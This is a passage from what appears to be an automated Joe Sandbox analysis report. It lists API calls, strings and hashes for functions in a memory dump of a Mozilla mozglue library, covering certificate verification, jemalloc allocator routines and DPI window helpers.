CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA56D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA56D73
free.MOZGLUE(00000000), ref: 6CA56D80
CertGetNameStringW.CRYPT32 ref: 6CA56DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA56DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA56DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA56DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA56E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA56E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA56E34
CreateFileW.KERNEL32 ref: 6CA56EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA56F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA56F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA5709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA57103
free.MOZGLUE(00000000), ref: 6CA57153
CloseHandle.KERNEL32(?), ref: 6CA57176
__Init_thread_footer.LIBCMT ref: 6CA57209
__Init_thread_footer.LIBCMT ref: 6CA5723A
__Init_thread_footer.LIBCMT ref: 6CA5726B
__Init_thread_footer.LIBCMT ref: 6CA5729C
__Init_thread_footer.LIBCMT ref: 6CA572DC
__Init_thread_footer.LIBCMT ref: 6CA5730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA573C2
VerSetConditionMask.NTDLL ref: 6CA573F3
VerSetConditionMask.NTDLL ref: 6CA573FF
VerSetConditionMask.NTDLL ref: 6CA57406
VerSetConditionMask.NTDLL ref: 6CA5740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA5741A
moz_xmalloc.MOZGLUE(?), ref: 6CA5755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA57568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA57585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA57598
free.MOZGLUE(00000000), ref: 6CA575AC

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

Strings

wintrust.dll, xrefs: 6CA572CD
(, xrefs: 6CA5768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CA572C8
SHA256, xrefs: 6CA56EC0

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7d03be6d878a0832e912268473aab7aa2b0bfed4d9e1e723a96c9c807f7724ad
Instruction ID: 18d5d43128ac49e3b0b49587370c34abe187457ddea4924ba9a203a98b45e52f
Opcode Fuzzy Hash: 7d03be6d878a0832e912268473aab7aa2b0bfed4d9e1e723a96c9c807f7724ad
Instruction Fuzzy Hash: F052C2B1A003159FEB259F24CC88BAA77B9FB45708F14C199E909A7640DB30AFD5CF91

Function 6CA76FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE7DC), ref: 6CA77019
LeaveCriticalSection.KERNEL32(6CACE7DC), ref: 6CA77061
EnterCriticalSection.KERNEL32(?), ref: 6CA771A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA7721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7723E
EnterCriticalSection.KERNEL32(?), ref: 6CA7726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA772B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA7733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA773E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA7961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA79622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA79642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA7964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA796CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA796DB
AcquireSRWLockExclusive.KERNEL32(6CACE804), ref: 6CA79747
GetSystemInfo.KERNEL32(?), ref: 6CA79792
__Init_thread_footer.LIBCMT ref: 6CA797A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CACE810,00000040), ref: 6CA797CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CACE7B8,00001388), ref: 6CA79838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CACE744,00001388), ref: 6CA7984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CACE784,00001388), ref: 6CA79874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CACE7DC,00001388), ref: 6CA79895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA79993
MOZ_CRASH(), xrefs: 6CA79B42
MALLOC_OPTIONS, xrefs: 6CA797CA
<jemalloc>, xrefs: 6CA79B33, 6CA79BE3
Compile-time page size does not divide the runtime one., xrefs: 6CA79B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA799D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA799A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA79BF4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA79933, 6CA79A33, 6CA79A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA799BD

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 2897f3eb06cd40ce5cb49eb9d26015da76f1c1c908bba0416e42b75fa29e5890
Instruction ID: fd53b521b62f0667f9519db90a9383a4502635a8b708715801399438c0e12330
Opcode Fuzzy Hash: 2897f3eb06cd40ce5cb49eb9d26015da76f1c1c908bba0416e42b75fa29e5890
Instruction Fuzzy Hash: B853AF75A057018FD724CF28C580615BBE1FF85328F29C66EE869DB7A1D371E881CBA1

Function 6CA80DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA80F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA80F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA80FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA80FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA81031
LeaveCriticalSection.KERNEL32(?), ref: 6CA810D0
EnterCriticalSection.KERNEL32(?), ref: 6CA8117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA81C39
EnterCriticalSection.KERNEL32(6CACE744), ref: 6CA83391
LeaveCriticalSection.KERNEL32(6CACE744), ref: 6CA833CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA83431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA83437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA83793
MOZ_CRASH(), xrefs: 6CA83950
MALLOC_OPTIONS, xrefs: 6CA835FE
<jemalloc>, xrefs: 6CA83941, 6CA839F1
Compile-time page size does not divide the runtime one., xrefs: 6CA83946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA837D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA837A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA83A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA83559, 6CA8382D, 6CA83848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA837BD

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 1bd8e880648c48d8c5211e3a75f26edc454533e226584d9c6e2b4cf988f89689
Instruction ID: d0a514a04fe07d8e935dfd93c3d03ea059642a3c55067395f39348d13d5a9af0
Opcode Fuzzy Hash: 1bd8e880648c48d8c5211e3a75f26edc454533e226584d9c6e2b4cf988f89689
Instruction Fuzzy Hash: EC539E71A067018FD708CF29C544626FBE1BF85328F29C76DE8A99B791D771E881CB81

Function 6CAA55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA7E1A5), ref: 6CAA5606
LoadLibraryW.KERNEL32(gdi32,?,6CA7E1A5), ref: 6CAA560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAA5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAA563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAA566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAA567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAA5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAA56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAA56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAA56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAA56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAA5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAA572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAA5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAA5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAA577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAA5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAA57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAA57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAA57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAA57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAA57FF

Strings

GetSystemMetricsForDpi, xrefs: 6CAA5677
GetThreadDpiAwarenessContext, xrefs: 6CAA562D
ReleaseDC, xrefs: 6CAA5742
AreDpiAwarenessContextsEqual, xrefs: 6CAA5637
RegisterClassW, xrefs: 6CAA56AC
MonitorFromWindow, xrefs: 6CAA578D
SetWindowLongPtrW, xrefs: 6CAA57B7
EnableNonClientDpiScaling, xrefs: 6CAA5666
LoadIconW, xrefs: 6CAA575B
ShowWindow, xrefs: 6CAA56DE
LoadCursorW, xrefs: 6CAA5774
StretchDIBits, xrefs: 6CAA57CC
GetWindowDC, xrefs: 6CAA5710
GetDpiForWindow, xrefs: 6CAA5690
DeleteObject, xrefs: 6CAA57F9
user32, xrefs: 6CAA5601
gdi32, xrefs: 6CAA560A
SetWindowPos, xrefs: 6CAA56F7
CreateWindowExW, xrefs: 6CAA56C5
CreateSolidBrush, xrefs: 6CAA57E4
FillRect, xrefs: 6CAA5729
GetMonitorInfoW, xrefs: 6CAA57A2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 2a5688e7b9723c1be04a43986d92685662c8edfa86365a1aa5a75cb2ac53c916
Instruction ID: 57303349c29cb859178fd001170d90ca012ea3bf8987dca628434af6ee177b6b
Opcode Fuzzy Hash: 2a5688e7b9723c1be04a43986d92685662c8edfa86365a1aa5a75cb2ac53c916
Instruction Fuzzy Hash: F05187B8B0170B6FDB085F759D489263AFCBB0A645714C52DAA11E3A01EF75CA838F74

Function 6CAA34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA3EE2

Part of subcall function 6CAA6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAA61DD
Part of subcall function 6CAA6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAA622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA4157

Part of subcall function 6CAA6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAA6250
Part of subcall function 6CAA6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAA484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAA4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAA4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAA4896
free.MOZGLUE ref: 6CAA489F

Strings

, xrefs: 6CAA4CD2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8d1d0cb600f07372cbf2fbf638d0ad15451abe717eb621c7392bf46529e377e3
Instruction ID: 0758e8ce253e3fbd41e3fc9961e6fc80b82ce194e37dd1842a6abfbcc42274ac
Opcode Fuzzy Hash: 8d1d0cb600f07372cbf2fbf638d0ad15451abe717eb621c7392bf46529e377e3
Instruction Fuzzy Hash: 9DF24A74908B858FC725CF28C18469AFBF1FFC9308F158A5EE99997711DB319886CB42

Function 6CA564C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA564DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA564F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA56505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA56518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA5652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA5671C
GetCurrentProcess.KERNEL32 ref: 6CA56724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA5672F
GetCurrentProcess.KERNEL32 ref: 6CA56759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA56764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA56A80
GetSystemInfo.KERNEL32(?), ref: 6CA56ABE
__Init_thread_footer.LIBCMT ref: 6CA56AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA56AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA56AF7

Strings

nvdxgiwrap.dll, xrefs: 6CA56513
detoured.dll, xrefs: 6CA564DA
user32.dll, xrefs: 6CA56526
_etoured.dll, xrefs: 6CA564ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA56798
nvd3d9wrap.dll, xrefs: 6CA56500

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 732b364d989ca480d2e2ce68e6f6dec0ea6774018d12c76b1946199b3189a6a5
Instruction ID: 1d4ac0f2287c32dc06d95537b5c8f8503503c81d24018544a9fcbaba70aea4e2
Opcode Fuzzy Hash: 732b364d989ca480d2e2ce68e6f6dec0ea6774018d12c76b1946199b3189a6a5
Instruction Fuzzy Hash: 77F1E2709052199FDB20CF64CD88B9AB7B4AF45318F58C2D9E809A3741D731AED5CF90

Function 6CA760A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE7DC), ref: 6CA760C9
LeaveCriticalSection.KERNEL32(6CACE7DC), ref: 6CA7610D
EnterCriticalSection.KERNEL32(?), ref: 6CA7618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA761F9

Strings

MOZ_CRASH(), xrefs: 6CA76AB8
MALLOC_OPTIONS, xrefs: 6CA76888
<jemalloc>, xrefs: 6CA76AA9, 6CA76B59
Compile-time page size does not divide the runtime one., xrefs: 6CA76AAE
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA76B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA76BC7, 6CA76F97, 6CA76FB2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: adf6f9632e11fd0033b9ea5b42bcb4982871dfed6181e715b2ef3a31dea17bff
Instruction ID: 36208d9ebe1329675af55343f412c48cac4192a49c8b4bda1195ee1ecd291d27
Opcode Fuzzy Hash: adf6f9632e11fd0033b9ea5b42bcb4982871dfed6181e715b2ef3a31dea17bff
Instruction Fuzzy Hash: 89A2BB75A057018FD728CF28C554715BBF2BB85328F29C66DE869CBB91C731E881CBA1

Function 6CAAC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAAC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAAC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAAC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAAC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CAAC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAACC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAACD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAADB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CAADB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CAADB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAADD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAADE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CAAE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAAE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CAAE472

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 7daf1a0103c8e9a5132eeec5bbc7295ca60422aa049150b8ad0a34e2a7660f85
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 76338E71E0021ACFCB14CFA8C8806EDBBF2FF49314F198269D955AB755D731A986CB90

Function 6CA5FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE7B8), ref: 6CA5FF81
LeaveCriticalSection.KERNEL32(6CACE7B8), ref: 6CA6022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA60240
EnterCriticalSection.KERNEL32(6CACE768), ref: 6CA6025B
LeaveCriticalSection.KERNEL32(6CACE768), ref: 6CA6027B

Strings

<jemalloc>, xrefs: 6CA60D62, 6CA60D76, 6CA60DA7
: (malloc) Error in VirtualFree(), xrefs: 6CA60D67, 6CA60D7B, 6CA60DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA5FE99, 6CA5FEB7, 6CA5FED3, 6CA60DB8, 6CA60DD3, 6CA619B4

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
